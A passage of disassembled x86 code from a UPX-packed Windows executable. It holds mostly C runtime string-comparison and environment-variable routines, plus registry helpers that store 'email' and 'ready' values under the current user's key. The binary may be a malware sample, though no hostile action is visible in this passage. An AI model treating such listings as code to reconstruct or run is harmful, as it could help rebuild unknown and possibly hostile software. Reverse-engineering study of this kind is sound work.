sub_4166F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416751 proc near ; CODE XREF: sub_41676F+6Ep
; sub_41676F+82p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
jmp short loc_416762
; ---------------------------------------------------------------------------
loc_41675B: ; CODE XREF: sub_416751+13j
dec ecx
cmp byte ptr [eax], 0
jz short loc_416767
inc eax
loc_416762: ; CODE XREF: sub_416751+8j
test ecx, ecx
jnz short loc_41675B
dec ecx
loc_416767: ; CODE XREF: sub_416751+Ej
mov eax, [ebp+arg_0]
sub eax, ecx
dec eax
pop ebp
retn
sub_416751 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41676F proc near ; CODE XREF: sub_416ADF+2Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_C]
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
mov esi, ecx
mov [ebp+var_24], ebx
mov [ebp+var_1C], eax
cmp dword_42EE88, edi
jnz short loc_4167D3
push 1
mov eax, offset dword_41E554
push eax
push 1
push eax
push edi
push edi
call dword_41D0F0 ; CompareStringW
test eax, eax
jz short loc_4167BE
mov dword_42EE88, 1
jmp short loc_4167D3
; ---------------------------------------------------------------------------
loc_4167BE: ; CODE XREF: sub_41676F+41j
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_4167D3
mov dword_42EE88, 2
loc_4167D3: ; CODE XREF: sub_41676F+2Aj
; sub_41676F+4Dj ...
cmp [ebp+arg_8], edi
jle short loc_4167FE
push [ebp+arg_8]
mov eax, ebx
call sub_416751
pop ecx
mov [ebp+arg_8], eax
loc_4167E6: ; CODE XREF: sub_41676F+93j
mov edx, [ebp+arg_10]
cmp edx, edi
jle short loc_41680B
mov eax, [ebp+var_1C]
push edx
call sub_416751
mov edx, eax
pop ecx
mov [ebp+arg_10], edx
jmp short loc_416810
; ---------------------------------------------------------------------------
loc_4167FE: ; CODE XREF: sub_41676F+67j
cmp [ebp+arg_8], 0FFFFFFFFh
jge short loc_4167E6
loc_416804: ; CODE XREF: sub_41676F+9Fj
; sub_41676F+BDj ...
xor eax, eax
jmp loc_416ACD
; ---------------------------------------------------------------------------
loc_41680B: ; CODE XREF: sub_41676F+7Cj
cmp edx, 0FFFFFFFFh
jl short loc_416804
loc_416810: ; CODE XREF: sub_41676F+8Dj
mov ecx, dword_42EE88
cmp ecx, 2
jz loc_416A18
cmp ecx, edi
jz loc_416A18
xor eax, eax
inc eax
cmp ecx, eax
jnz short loc_416804
mov [ebp+var_28], edi
cmp [ebp+arg_14], edi
jnz short loc_41683E
mov ecx, [esi]
mov ecx, [ecx+4]
mov [ebp+arg_14], ecx
loc_41683E: ; CODE XREF: sub_41676F+C5j
cmp [ebp+arg_8], edi
jz short loc_41684B
cmp edx, edi
jnz loc_4168E5
loc_41684B: ; CODE XREF: sub_41676F+D2j
cmp [ebp+arg_8], edx
jnz short loc_416858
loc_416850: ; CODE XREF: sub_41676F+12Ej
; sub_41676F+167j
push 2
loc_416852: ; CODE XREF: sub_41676F+F8j
pop eax
jmp loc_416ACD
; ---------------------------------------------------------------------------
loc_416858: ; CODE XREF: sub_41676F+DFj
cmp edx, eax
jg loc_416ACD
cmp [ebp+arg_8], eax
jle short loc_416869
loc_416865: ; CODE XREF: sub_41676F+114j
; sub_41676F+11Dj ...
push 3
jmp short loc_416852
; ---------------------------------------------------------------------------
loc_416869: ; CODE XREF: sub_41676F+F4j
lea eax, [ebp+var_18]
push eax
push [ebp+arg_14]
call dword_41D138 ; GetCPInfo
test eax, eax
jz short loc_416804
cmp [ebp+arg_8], edi
jle short loc_4168A8
cmp [ebp+var_18], 2
jb short loc_416865
cmp [ebp+var_12], 0
lea eax, [ebp+var_12]
jz short loc_416865
loc_41688E: ; CODE XREF: sub_41676F+135j
mov dl, [eax+1]
test dl, dl
jz short loc_416865
mov cl, [ebx]
cmp cl, [eax]
jb short loc_41689F
cmp cl, dl
jbe short loc_416850
loc_41689F: ; CODE XREF: sub_41676F+12Aj
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_41688E
jmp short loc_416865
; ---------------------------------------------------------------------------
loc_4168A8: ; CODE XREF: sub_41676F+10Ej
cmp [ebp+arg_10], edi
jle short loc_4168E5
cmp [ebp+var_18], 2
jnb short loc_4168BB
loc_4168B3: ; CODE XREF: sub_41676F+153j
; sub_41676F+15Aj ...
xor eax, eax
inc eax
jmp loc_416ACD
; ---------------------------------------------------------------------------
loc_4168BB: ; CODE XREF: sub_41676F+142j
cmp [ebp+var_12], 0
lea eax, [ebp+var_12]
jz short loc_4168B3
loc_4168C4: ; CODE XREF: sub_41676F+172j
mov dl, [eax+1]
test dl, dl
jz short loc_4168B3
mov ecx, [ebp+var_1C]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_4168DC
cmp cl, dl
jbe loc_416850
loc_4168DC: ; CODE XREF: sub_41676F+163j
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4168C4
jmp short loc_4168B3
; ---------------------------------------------------------------------------
loc_4168E5: ; CODE XREF: sub_41676F+D6j
; sub_41676F+13Cj
mov esi, dword_41D1F4
push edi
push edi
push [ebp+arg_8]
push ebx
push 9
push [ebp+arg_14]
call esi ; dword_41D1F4
mov ebx, eax
mov [ebp+var_2C], ebx
cmp ebx, edi
jz loc_416804
mov edi, 400h
test ebx, ebx
jle short loc_41694E
push 0FFFFFFE0h
xor edx, edx
pop eax
div ebx
cmp eax, 2
jb short loc_41694E
lea eax, [ebx+ebx+8]
cmp eax, edi
ja short loc_416935
call sub_4160F0
mov eax, esp
test eax, eax
jz short loc_416949
mov dword ptr [eax], 0CCCCh
jmp short loc_416946
; ---------------------------------------------------------------------------
loc_416935: ; CODE XREF: sub_41676F+1B1j
push eax
call sub_40AEA5
pop ecx
test eax, eax
jz short loc_416949
mov dword ptr [eax], 0DDDDh
loc_416946: ; CODE XREF: sub_41676F+1C4j
add eax, 8
loc_416949: ; CODE XREF: sub_41676F+1BCj
; sub_41676F+1CFj
mov [ebp+var_20], eax
jmp short loc_416952
; ---------------------------------------------------------------------------
loc_41694E: ; CODE XREF: sub_41676F+19Dj
; sub_41676F+1A9j
and [ebp+var_20], 0
loc_416952: ; CODE XREF: sub_41676F+1DDj
cmp [ebp+var_20], 0
jz loc_416804
push ebx
push [ebp+var_20]
push [ebp+arg_8]
push [ebp+var_24]
push 1
push [ebp+arg_14]
call esi ; dword_41D1F4
test eax, eax
jz loc_416A07
push 0
push 0
push [ebp+arg_10]
push [ebp+var_1C]
push 9
push [ebp+arg_14]
call esi ; dword_41D1F4
mov ebx, eax
test ebx, ebx
jz short loc_416A07
jle short loc_4169D0
push 0FFFFFFE0h
xor edx, edx
pop eax
div ebx
cmp eax, 2
jb short loc_4169D0
lea eax, [ebx+ebx+8]
cmp eax, edi
ja short loc_4169B8
call sub_4160F0
mov edi, esp
test edi, edi
jz short loc_416A07
mov dword ptr [edi], 0CCCCh
add edi, 8
jmp short loc_4169D2
; ---------------------------------------------------------------------------
loc_4169B8: ; CODE XREF: sub_41676F+231j
push eax
call sub_40AEA5
pop ecx
test eax, eax
jz short loc_4169CC
mov dword ptr [eax], 0DDDDh
add eax, 8
loc_4169CC: ; CODE XREF: sub_41676F+252j
mov edi, eax
jmp short loc_4169D2
; ---------------------------------------------------------------------------
loc_4169D0: ; CODE XREF: sub_41676F+21Dj
; sub_41676F+229j
xor edi, edi
loc_4169D2: ; CODE XREF: sub_41676F+247j
; sub_41676F+25Fj
test edi, edi
jz short loc_416A07
push ebx
push edi
push [ebp+arg_10]
push [ebp+var_1C]
push 1
push [ebp+arg_14]
call esi ; dword_41D1F4
test eax, eax
jz short loc_416A00
push ebx
push edi
push [ebp+var_2C]
push [ebp+var_20]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D0F0 ; CompareStringW
mov [ebp+var_28], eax
loc_416A00: ; CODE XREF: sub_41676F+278j
push edi
call sub_401000
pop ecx
loc_416A07: ; CODE XREF: sub_41676F+200j
; sub_41676F+21Bj ...
push [ebp+var_20]
call sub_401000
mov eax, [ebp+var_28]
pop ecx
jmp loc_416ACD
; ---------------------------------------------------------------------------
loc_416A18: ; CODE XREF: sub_41676F+AAj
; sub_41676F+B2j
xor edi, edi
xor ebx, ebx
cmp [ebp+arg_0], edi
jnz short loc_416A29
mov eax, [esi]
mov eax, [eax+14h]
mov [ebp+arg_0], eax
loc_416A29: ; CODE XREF: sub_41676F+2B0j
cmp [ebp+arg_14], edi
jnz short loc_416A36
mov eax, [esi]
mov eax, [eax+4]
mov [ebp+arg_14], eax
loc_416A36: ; CODE XREF: sub_41676F+2BDj
push [ebp+arg_0]
call sub_415EED
mov esi, eax
pop ecx
cmp esi, 0FFFFFFFFh
jz loc_416804
cmp esi, [ebp+arg_14]
jz short loc_416A9F
push 0
push 0
lea eax, [ebp+arg_8]
push eax
push [ebp+var_24]
push esi
push [ebp+arg_14]
call sub_415F36
mov ebx, eax
add esp, 18h
test ebx, ebx
jz loc_416804
push 0
push 0
lea eax, [ebp+arg_10]
push eax
push [ebp+var_1C]
push esi
push [ebp+arg_14]
call sub_415F36
mov edi, eax
add esp, 18h
test edi, edi
jnz short loc_416A99
push ebx
call sub_40ADC8
pop ecx
jmp loc_416804
; ---------------------------------------------------------------------------
loc_416A99: ; CODE XREF: sub_41676F+31Cj
mov [ebp+var_24], ebx
mov [ebp+var_1C], edi
loc_416A9F: ; CODE XREF: sub_41676F+2DEj
push [ebp+arg_10]
push [ebp+var_1C]
push [ebp+arg_8]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D0F4 ; CompareStringA
mov esi, eax
test ebx, ebx
jz short loc_416ACB
push ebx
call sub_40ADC8
push edi
call sub_40ADC8
pop ecx
pop ecx
loc_416ACB: ; CODE XREF: sub_41676F+34Cj
mov eax, esi
loc_416ACD: ; CODE XREF: sub_41676F+97j
; sub_41676F+E4j ...
lea esp, [ebp-38h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_41676F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ADF proc near ; CODE XREF: sub_41626C+BFp
; sub_416B21+C0p
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40C799
push [ebp+arg_1C]
mov edx, [ebp+arg_C]
push [ebp+arg_18]
lea ecx, [ebp+var_10]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41676F
add esp, 18h
cmp [ebp+var_4], 0
jz short locret_416B1F
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_416B1F: ; CODE XREF: sub_416ADF+37j
leave
retn
sub_416ADF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B21 proc near ; CODE XREF: sub_41626C+9Ep
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40C799
mov edx, [ebp+arg_8]
xor ebx, ebx
cmp edx, ebx
jnz short loc_416B51
cmp [ebp+var_4], bl
jz short loc_416B4A
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416B4A: ; CODE XREF: sub_416B21+20j
xor eax, eax
jmp loc_416C18
; ---------------------------------------------------------------------------
loc_416B51: ; CODE XREF: sub_416B21+1Bj
cmp [ebp+arg_0], ebx
jnz short loc_416B84
loc_416B56: ; CODE XREF: sub_416B21+66j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_416B7A
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416B7A: ; CODE XREF: sub_416B21+50j
mov eax, 7FFFFFFFh
jmp loc_416C18
; ---------------------------------------------------------------------------
loc_416B84: ; CODE XREF: sub_416B21+33j
cmp [ebp+arg_4], ebx
jz short loc_416B56
push esi
mov esi, 7FFFFFFFh
cmp edx, esi
jbe short loc_416BAD
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
jmp short loc_416BF8
; ---------------------------------------------------------------------------
loc_416BAD: ; CODE XREF: sub_416B21+70j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
cmp ecx, ebx
jnz short loc_416BCC
lea eax, [ebp+var_10]
push eax
push edx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41611C
add esp, 10h
jmp short loc_416C0B
; ---------------------------------------------------------------------------
loc_416BCC: ; CODE XREF: sub_416B21+94j
push dword ptr [eax+8]
lea eax, [ebp+var_10]
push edx
push [ebp+arg_4]
push edx
push [ebp+arg_0]
push 1001h
push ecx
push eax
call sub_416ADF
add esp, 20h
cmp eax, ebx
jnz short loc_416C08
call sub_40C862
mov dword ptr [eax], 16h
loc_416BF8: ; CODE XREF: sub_416B21+8Aj
cmp [ebp+var_4], bl
jz short loc_416C04
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416C04: ; CODE XREF: sub_416B21+DAj
mov eax, esi
jmp short loc_416C17
; ---------------------------------------------------------------------------
loc_416C08: ; CODE XREF: sub_416B21+CAj
add eax, 0FFFFFFFEh
loc_416C0B: ; CODE XREF: sub_416B21+A9j
cmp [ebp+var_4], bl
jz short loc_416C17
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_416C17: ; CODE XREF: sub_416B21+E5j
; sub_416B21+EDj
pop esi
loc_416C18: ; CODE XREF: sub_416B21+2Bj
; sub_416B21+5Ej
pop ebx
leave
retn
sub_416B21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C1B proc near ; CODE XREF: sub_416CC7+EDp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword_42E88C
jmp short loc_416C4A
; ---------------------------------------------------------------------------
loc_416C29: ; CODE XREF: sub_416C1B+33j
push edi
push eax
push [ebp+arg_0]
call sub_41635A
add esp, 0Ch
test eax, eax
jnz short loc_416C47
mov eax, [esi]
mov al, [edi+eax]
cmp al, 3Dh
jz short loc_416C60
test al, al
jz short loc_416C60
loc_416C47: ; CODE XREF: sub_416C1B+1Dj
add esi, 4
loc_416C4A: ; CODE XREF: sub_416C1B+Cj
mov eax, [esi]
test eax, eax
jnz short loc_416C29
mov eax, esi
sub eax, dword_42E88C
sar eax, 2
neg eax
loc_416C5D: ; CODE XREF: sub_416C1B+50j
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416C60: ; CODE XREF: sub_416C1B+26j
; sub_416C1B+2Aj
mov eax, esi
sub eax, dword_42E88C
sar eax, 2
jmp short loc_416C5D
sub_416C1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C6D proc near ; CODE XREF: sub_416CC7+6Cp
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
push ecx
push edi
mov edi, eax
xor eax, eax
mov ecx, edi
test edi, edi
jz short loc_416CC4
cmp [edi], eax
jz short loc_416C8B
loc_416C82: ; CODE XREF: sub_416C6D+1Cj
add ecx, 4
inc eax
cmp dword ptr [ecx], 0
jnz short loc_416C82
loc_416C8B: ; CODE XREF: sub_416C6D+13j
push esi
inc eax
push 4
push eax
call sub_40EF6F
mov esi, eax
pop ecx
pop ecx
mov [ebp+var_4], esi
test esi, esi
jnz short loc_416CB8
push 9
call sub_40DAD0
jmp short loc_416CB7
; ---------------------------------------------------------------------------
loc_416CA9: ; CODE XREF: sub_416C6D+4Fj
push eax
call sub_416F12
mov [esi], eax
add esi, 4
add edi, 4
loc_416CB7: ; CODE XREF: sub_416C6D+3Aj
pop ecx
loc_416CB8: ; CODE XREF: sub_416C6D+31j
mov eax, [edi]
test eax, eax
jnz short loc_416CA9
and [esi], eax
mov eax, [ebp+var_4]
pop esi
loc_416CC4: ; CODE XREF: sub_416C6D+Fj
pop edi
leave
retn
sub_416C6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC7 proc near ; CODE XREF: sub_416374+5Bp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
mov [ebp+var_C], ebx
cmp eax, ebx
jnz short loc_416CF9
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_416D67
; ---------------------------------------------------------------------------
loc_416CF9: ; CODE XREF: sub_416CC7+13j
push esi
mov esi, [eax]
push edi
mov [ebp+var_4], esi
cmp esi, ebx
jz short loc_416D57
push 3Dh
push esi
call sub_4143B1
mov edi, eax
pop ecx
pop ecx
mov [ebp+var_14], edi
cmp edi, ebx
jz short loc_416D57
cmp esi, edi
jz short loc_416D57
xor eax, eax
cmp [edi+1], bl
setz al
mov [ebp+var_8], eax
mov eax, dword_42E88C
cmp eax, dword_42E890
jnz short loc_416D3D
call sub_416C6D
mov dword_42E88C, eax
loc_416D3D: ; CODE XREF: sub_416CC7+6Aj
cmp eax, ebx
jnz short loc_416DA1
cmp [ebp+arg_4], ebx
jz short loc_416D6A
cmp dword_42E894, ebx
jz short loc_416D6A
call sub_416374
test eax, eax
jz short loc_416DA1
loc_416D57: ; CODE XREF: sub_416CC7+3Bj
; sub_416CC7+4Ej ...
call sub_40C862
mov dword ptr [eax], 16h
loc_416D62: ; CODE XREF: sub_416CC7+BBj
; sub_416CC7+D6j ...
or eax, 0FFFFFFFFh
loc_416D65: ; CODE XREF: sub_416CC7+231j
; sub_416CC7+246j
pop edi
pop esi
loc_416D67: ; CODE XREF: sub_416CC7+30j
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416D6A: ; CODE XREF: sub_416CC7+7Dj
; sub_416CC7+85j
cmp [ebp+var_8], ebx
jnz loc_416F0B
push 4
call sub_40EF2A
pop ecx
mov dword_42E88C, eax
cmp eax, ebx
jz short loc_416D62
mov [eax], ebx
cmp dword_42E894, ebx
jnz short loc_416DA1
push 4
call sub_40EF2A
pop ecx
mov dword_42E894, eax
cmp eax, ebx
jz short loc_416D62
mov [eax], ebx
loc_416DA1: ; CODE XREF: sub_416CC7+78j
; sub_416CC7+8Ej ...
mov esi, dword_42E88C
mov [ebp+var_10], esi
cmp esi, ebx
jz short loc_416D62
sub edi, [ebp+var_4]
push [ebp+var_4]
call sub_416C1B
mov edi, eax
cmp edi, ebx
pop ecx
jl short loc_416E12
cmp [esi], ebx
jz short loc_416E12
lea esi, [esi+edi*4]
push dword ptr [esi]
call sub_40ADC8
pop ecx
cmp [ebp+var_8], ebx
jnz short loc_416DEF
mov eax, [ebp+var_4]
mov [esi], eax
mov eax, [ebp+arg_0]
mov [eax], ebx
jmp loc_416E65
; ---------------------------------------------------------------------------
loc_416DE3: ; CODE XREF: sub_416CC7+12Aj
mov eax, [esi+4]
mov [esi], eax
mov eax, [ebp+var_10]
inc edi
lea esi, [eax+edi*4]
loc_416DEF: ; CODE XREF: sub_416CC7+10Bj
cmp [esi], ebx
jnz short loc_416DE3
cmp edi, 3FFFFFFFh
jnb short loc_416E65
push 4
push edi
push dword_42E88C
call sub_40F009
add esp, 0Ch
cmp eax, ebx
jz short loc_416E65
jmp short loc_416E60
; ---------------------------------------------------------------------------
loc_416E12: ; CODE XREF: sub_416CC7+F7j
; sub_416CC7+FBj
cmp [ebp+var_8], ebx
jnz loc_416EFD
cmp edi, ebx
jge short loc_416E21
neg edi
loc_416E21: ; CODE XREF: sub_416CC7+156j
lea eax, [edi+2]
cmp eax, edi
jl loc_416D62
cmp eax, 3FFFFFFFh
jnb loc_416D62
push eax
push 4
push dword_42E88C
call sub_40F009
add esp, 0Ch
cmp eax, ebx
jz loc_416D62
mov edx, [ebp+var_4]
lea ecx, [eax+edi*4]
mov [ecx], edx
mov [ecx+4], ebx
mov ecx, [ebp+arg_0]
mov [ecx], ebx
loc_416E60: ; CODE XREF: sub_416CC7+149j
mov dword_42E88C, eax
loc_416E65: ; CODE XREF: sub_416CC7+117j
; sub_416CC7+132j ...
cmp [ebp+arg_4], ebx
jz short loc_416EE2
mov esi, [ebp+var_4]
push 1
push esi
call sub_40BFB0
inc eax
pop ecx
inc eax
push eax
call sub_40EF6F
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
jz short loc_416EE2
push esi
push esi
call sub_40BFB0
inc eax
pop ecx
inc eax
push eax
push edi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_416EAB
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_416EAB: ; CODE XREF: sub_416CC7+1D5j
mov ecx, [ebp+var_8]
mov eax, edi
sub eax, esi
add eax, [ebp+var_14]
mov [eax], bl
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push edi
call dword_41D0EC ; SetEnvironmentVariableA
test eax, eax
jnz short loc_416EDB
or [ebp+var_C], 0FFFFFFFFh
call sub_40C862
mov dword ptr [eax], 2Ah
loc_416EDB: ; CODE XREF: sub_416CC7+203j
push edi
call sub_40ADC8
pop ecx
loc_416EE2: ; CODE XREF: sub_416CC7+1A1j
; sub_416CC7+1BDj
cmp [ebp+var_8], ebx
jz short loc_416EF5
push [ebp+var_4]
call sub_40ADC8
mov eax, [ebp+arg_0]
pop ecx
mov [eax], ebx
loc_416EF5: ; CODE XREF: sub_416CC7+21Ej
mov eax, [ebp+var_C]
jmp loc_416D65
; ---------------------------------------------------------------------------
loc_416EFD: ; CODE XREF: sub_416CC7+14Ej
push [ebp+var_4]
call sub_40ADC8
mov eax, [ebp+arg_0]
pop ecx
mov [eax], ebx
loc_416F0B: ; CODE XREF: sub_416CC7+A6j
xor eax, eax
jmp loc_416D65
sub_416CC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F12 proc near ; CODE XREF: sub_416C6D+3Dp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
jnz short loc_416F23
xor eax, eax
jmp short loc_416F64
; ---------------------------------------------------------------------------
loc_416F23: ; CODE XREF: sub_416F12+Bj
push esi
push edi
push [ebp+arg_0]
call sub_40BFB0
mov esi, eax
inc esi
push esi
call sub_40AEA5
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
jz short loc_416F60
push [ebp+arg_0]
push esi
push edi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_416F5C
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_416F5C: ; CODE XREF: sub_416F12+3Bj
mov eax, edi
jmp short loc_416F62
; ---------------------------------------------------------------------------
loc_416F60: ; CODE XREF: sub_416F12+2Aj
xor eax, eax
loc_416F62: ; CODE XREF: sub_416F12+4Cj
pop edi
pop esi
loc_416F64: ; CODE XREF: sub_416F12+Fj
pop ebx
pop ebp
retn
sub_416F12 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F68 proc near ; CODE XREF: sub_408FB6+11Dp
jmp dword_41D3D4
sub_416F68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F6E proc near ; CODE XREF: sub_40C0C0+26p
; sub_41002E+10p ...
jmp dword_41D190
sub_416F6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F74 proc near ; CODE XREF: sub_4170D1+5p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_42F0E4
test eax, eax
jnz short loc_416F86
xor al, al
jmp short locret_416FAD
; ---------------------------------------------------------------------------
loc_416F86: ; CODE XREF: sub_416F74+Cj
push 4
pop ecx
mov [ebp+var_8], ecx
mov [ebp+var_4], ecx
lea ecx, [ebp+var_4]
push ecx
push [ebp+arg_0]
lea ecx, [ebp+var_8]
push ecx
push 0
push offset aReady ; "ready"
push eax
call dword_41D01C ; RegQueryValueExW
neg eax
sbb eax, eax
inc eax
locret_416FAD: ; CODE XREF: sub_416F74+10j
leave
retn 4
sub_416F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FB1 proc near ; CODE XREF: sub_41709B+Cp
; sub_4170DD+1Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_42F0E4
test eax, eax
jnz short loc_416FC3
xor al, al
jmp short locret_416FED
; ---------------------------------------------------------------------------
loc_416FC3: ; CODE XREF: sub_416FB1+Cj
lea ecx, [ebp+var_4]
push ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push ecx
push 0
push [ebp+arg_0]
mov [ebp+var_8], 1
push eax
mov [ebp+var_4], 400h
call dword_41D01C ; RegQueryValueExW
neg eax
sbb eax, eax
inc eax
locret_416FED: ; CODE XREF: sub_416FB1+10j
leave
retn 8
sub_416FB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FF1 proc near ; CODE XREF: sub_4170C1+Ap
; sub_417692+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [eax]
mov [ebp+var_4], 1
test eax, eax
jnz short loc_417006
xor al, al
jmp short locret_41701F
; ---------------------------------------------------------------------------
loc_417006: ; CODE XREF: sub_416FF1+Fj
push 4
lea ecx, [ebp+var_4]
push ecx
push 4
push 0
push [ebp+arg_0]
push eax
call dword_41D018 ; RegSetValueExW
neg eax
sbb eax, eax
inc eax
locret_41701F: ; CODE XREF: sub_416FF1+13j
leave
retn 4
sub_416FF1 endp
; =============== S U B R O U T I N E =======================================
sub_417023 proc near ; CODE XREF: sub_408F59+36p
; UPX0:004170BBp
arg_0 = dword ptr 4
mov ecx, dword_42F0E4
test ecx, ecx
jnz short loc_417031
xor al, al
jmp short locret_417066
; ---------------------------------------------------------------------------
loc_417031: ; CODE XREF: sub_417023+8j
mov eax, [esp+arg_0]
lea edx, [eax+2]
push esi
loc_417039: ; CODE XREF: sub_417023+1Ej
mov si, [eax]
inc eax
inc eax
test si, si
jnz short loc_417039
sub eax, edx
sar eax, 1
lea eax, [eax+eax+2]
push eax
push [esp+8+arg_0]
push 1
push 0
push offset aEmail_0 ; "email"
push ecx
call dword_41D018 ; RegSetValueExW
neg eax
sbb eax, eax
inc eax
pop esi
locret_417066: ; CODE XREF: sub_417023+Cj
retn 4
sub_417023 endp
; ---------------------------------------------------------------------------
push dword ptr [eax]
call dword_41D000 ; RegCloseKey
retn
; =============== S U B R O U T I N E =======================================
sub_417072 proc near ; CODE XREF: sub_417692+72p
; UPX0:0041C838p
arg_0 = dword ptr 4
push esi
xor esi, esi
push esi
push edi
push esi
push 2001Fh
push esi
push esi
push esi
push [esp+20h+arg_0]
push 80000001h
call dword_41D020 ; RegCreateKeyExW
test eax, eax
jz short loc_417095
mov [edi], esi
loc_417095: ; CODE XREF: sub_417072+1Fj
mov eax, edi
pop esi
retn 4
sub_417072 endp
; =============== S U B R O U T I N E =======================================
sub_41709B proc near ; CODE XREF: sub_408E29+60p
push esi
mov esi, offset dword_42EEB0
push esi
push offset aEmail_1 ; "email"
call sub_416FB1
movzx eax, al
neg eax
sbb eax, eax
and eax, esi
pop esi
retn
sub_41709B endp
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
call sub_417023
retn
; =============== S U B R O U T I N E =======================================
sub_4170C1 proc near ; CODE XREF: UPX0:00409774p
push offset aReady_0 ; "ready"
mov eax, offset dword_42F0E4
call sub_416FF1
retn
sub_4170C1 endp
; =============== S U B R O U T I N E =======================================
sub_4170D1 proc near ; CODE XREF: sub_409CAD+18p
; sub_417692+A6p ...
var_4 = byte ptr -4
push ecx
lea eax, [esp+4+var_4]
push eax
call sub_416F74
pop ecx
retn
sub_4170D1 endp
; =============== S U B R O U T I N E =======================================
sub_4170DD proc near ; CODE XREF: sub_408E29+6Cp
; sub_409BC7+BBp ...
var_204 = byte ptr -204h
var_4 = dword ptr -4
sub esp, 204h
